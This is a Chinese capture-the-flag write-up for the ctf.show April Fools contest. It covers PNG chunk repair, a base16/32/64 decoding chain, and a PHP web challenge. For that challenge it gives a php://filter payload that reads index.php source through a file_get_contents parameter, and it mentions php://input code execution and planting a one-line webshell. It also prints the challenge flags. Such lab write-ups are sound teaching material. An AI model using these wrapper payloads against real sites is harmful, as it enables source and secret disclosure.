ctf.show 愚人杯2

简介: ctf.show 愚人杯

结构如下:


颜色|字节|意义


Red        0=黑色,255=红

Green     0=黑色,255=绿色

Blue        0=黑色,255=蓝色


PLTE数据块是定义图像的调色板信息,PLTE可以包含1~256个调色板信息,每个调色板信息有3个字节组成,因此调色板数据块包含的最大字节数为768,调色板的长度应该是3倍数,否则,这将是一个非法的调色板。


对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1..2..,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可超过2^4=16)否则,这将导致PNG图像不合法。


图像数据块IDAT:它存储实际的数据,即图像真正的数据信息,在数据流中可包含多个连续的图像数据块。


图像结束数据IEND:

它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。


如果我们仔细看PNG文件,我们会发现,文件的结尾12个字符看起来总是:

00 00 00 00 49 45 4E 44 AE 42 60 82


IEND数据块的长度总是0(00 00 00 00,除非人为加入信息),数据标识总是IEND(49 45 4E 44),因此,CRC码也总是AE 42 60 82.


除了表示数据块开始的IHDR必须放在最前面,表示PNG文件结束的IEND数据块放在最后面之外,其他数据块的存放顺序没有限制。


辅助数据块:


1.背景颜色数据块bkGD

2.基色和白色度数据块cHRM(所谓白色度是指当R=G=B=最大值时在显示器上产生的白色度)

3.图像透明数据块tRNS

4.物理像素尺寸数据块pHYs


除了开头,发现文件结尾处也被修改了


分别对开头和结尾进行修正


但是另存为后打开还是有问题


什么都找不到...

文本也并没有发现存在零宽隐写,由于hint图片没搞出来,对那段word也不知道方向

3、easy_base


将给的密文4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35


放进随波逐流


发现这是一个base16编码,解码后得到

LEZVE3LDGJUHMZBTOQ2WIVRZPFNFONLGMFVEM3CYGJUGQVKIII2USU2FNBTFCPJ5

继续

进行了base32解码,得到

Y3Rmc2hvd3t5dV9yZW5fajFlX2hhUHB5ISEhfQ==

这很明显是base64了,再次解码

拿到flag

ctfshow{yu_ren_j1e_haPpy!!!}

4、easy_checkin

将附件解压后放进IDL,找到main函数想进行反编译

报错了...我ida当时装错位置了那个32位的也没找到,我打算重装

发现只启用了 NX(No eXecute,数据不可执行)保护机制

5、easy_signin

发现 index.php 被重定向了,Location:/?img=ZmFjZS5wbmc=

curl 命令:用来请求 Web 服务器,它的名字就是客户端(client)的 URL 工具的意思


curl 默认是不进行重定向的,如果要进行重定向,需要加上-L参数


curl -L 网页地址


加上 -o 参数可以保存网页源代码到本地


curl -o  名字.txt  网页地址  -L


加上-i参数可以看到响应报文


curl -i 网页地址


还是不知道怎么处理这种被重定向的网页(错的,这里并没有被重定向,因为存在参数img)

御剑也没有扫到什么

这个里面的内容在kali保存后也没有找到相关东西

PHP伪协议...知识盲区

随便给img传入一个值

报错,且发现存在file_get_contents()函数


文件包含时用PHP伪协议


可能遇到的文件包含函数:

1、include 2、require 3、include_once 4、require_once 5、highlight_file


6、show_source 7、flie 8、readfile 9、file_get_contents 10、file_put_contents 11、fopen


eg:


php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)


php://input + [POST DATA]执行php代码


若有写入权限,写入一句话木马


构造这道题的payload


php://filter/read=convert.base64-encode/resource=index.php

查看源码,发现一段base64编码

UEQ5d2FIQUtMeW9LSXlBdEtpMGdZMjlrYVc1bk9pQjFkR1l0T0NBdEtpMEtJeUJBUVhWMGFHOXlPaUJvTVhoaENpTWdRRVJoZEdVNklDQWdNakF5TXkwd015MHlOeUF4TURvek1Eb3pNQW9qSUVCTVlYTjBJRTF2WkdsbWFXVmtJR0o1T2lBZ0lHZ3hlR0VLSXlCQVRHRnpkQ0JOYjJScFptbGxaQ0IwYVcxbE9pQXlNREl6TFRBekxUSTRJREV5T2pFMU9qTXpDaU1nUUdWdFlXbHNPaUJvTVhoaFFHTjBabVZ5TG1OdmJRb2pJRUJzYVc1ck9pQm9kSFJ3Y3pvdkwyTjBabVZ5TG1OdmJRb0tLaThLQ2lScGJXRm5aVDBrWDBkRlZGc25hVzFuSjEwN0Nnb2tabXhoWnlBOUlDSmpkR1p6YUc5M2V6Z3dPREkzT0RGbExXRTBNVEl0TkRCbE1TMWlNVGhoTFRnMk5XTTFOemRsTWpVNU1YMGlPd3BwWmlocGMzTmxkQ2drYVcxaFoyVXBLWHNLQ1NScGJXRm5aU0E5SUdKaGMyVTJORjlrWldOdlpHVW9KR2x0WVdkbEtUc0tDU1JrWVhSaElEMGdZbUZ6WlRZMFgyVnVZMjlrWlNobWFXeGxYMmRsZEY5amIyNTBaVzUwY3lna2FXMWhaMlVwS1RzS0NXVmphRzhnSWp4cGJXY2djM0pqUFNka1lYUmhPbWx0WVdkbEwzQnVaenRpWVhObE5qUXNKR1JoZEdFbkx6NGlPd3A5Wld4elpYc0tDU1JwYldGblpTQTlJR0poYzJVMk5GOWxibU52WkdVb0ltWmhZMlV1Y0c1bklpazdDZ2xvWldGa1pYSW9JbXh2WTJGMGFXOXVPaTgvYVcxblBTSXVKR2x0WVdkbEtUc0tmUW9LQ2dvSw==

进行base64解码

PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezgwODI3ODFlLWE0MTItNDBlMS1iMThhLTg2NWM1NzdlMjU5MX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK

二次base64解码

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$image=$_GET['img'];
$flag = "ctfshow{8082781e-a412-40e1-b18a-865c577e2591}";
if(isset($image)){
    $image = base64_decode($image);
    $data = base64_encode(file_get_contents($image));
    echo "<img src='data:image/png;base64,$data'/>";
}else{
    $image = base64_encode("face.png");
    header("location:/?img=".$image);
}
拿到flag 
ctfshow{8082781e-a412-40e1-b18a-865c577e2591}

这里也可以直接将 index.php 进行base64编码后传给img

查看源码并对其进行base64解码得到flag


目录
相关文章
|
6月前
|
存储 数据安全/隐私保护 索引
ctf.show 愚人杯1
ctf.show 愚人杯
29 0
BannerStudio---BannerStudio年终总结
BannerStudio---BannerStudio年终总结
BannerStudio---BannerStudio年终总结
|
SQL 数据库 数据安全/隐私保护
1月26日ctf练习
1月26日ctf练习
142 0
1月26日ctf练习
|
编解码 数据安全/隐私保护
1月27日ctf练习
1月27日ctf练习
127 0
1月27日ctf练习
|
JavaScript PHP
CTFSHOW 愚人节欢乐赛
CTFSHOW 愚人节欢乐赛WP
202 0
CTFSHOW 愚人节欢乐赛
《C游记》 修炼之路 -- 函数篇(贰)
《C游记》 修炼之路 -- 函数篇(贰)
104 0
《C游记》 修炼之路 -- 函数篇(贰)
|
安全 Shell Linux
什么是CTF安全比赛
什么是CTF?下面我们对课程进行一个内容的讲解,在讲解之前我们首先来对ctf进行对应讲解,ctf是当前1种非常流行的信息安全竞赛形式,其英文名可翻译为夺得flag,也可翻译为夺旗赛。其大体流程是参赛团队之间通过攻防对抗程序分析等形式,首先从主办方给出的比赛环境中获得一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而得的对应分数,为了方便称呼,我们把这样的内容称之为flag,当然在ctf比赛当中涉及内容非常繁杂,我们需要利用,所有可以利用的方,法获得对应的flag,以上就是咱们ctf这样一个比赛形式。
296 0
什么是CTF安全比赛
|
机器学习/深度学习 监控 算法
仅9天拿下CVPR竞赛冠军,家里的狗狗都改了作息
CVPR 2021 Homage Genome Action 比赛,让我们聊聊淘系冠军背后的故事,以及“视频交互关系检测”这个CV领域的未来新趋势。
仅9天拿下CVPR竞赛冠军,家里的狗狗都改了作息
|
机器学习/深度学习 人工智能 算法
北大博士的CVPR冠军体验:一群直男强行“认草”
今天聊聊淘系 CVPR 竞赛另一个冠军:Herbarium 2021 - Half-Earth Challenge,一个最终准确率高到外界怀疑我们雇了个植物学家参赛的故事。
北大博士的CVPR冠军体验:一群直男强行“认草”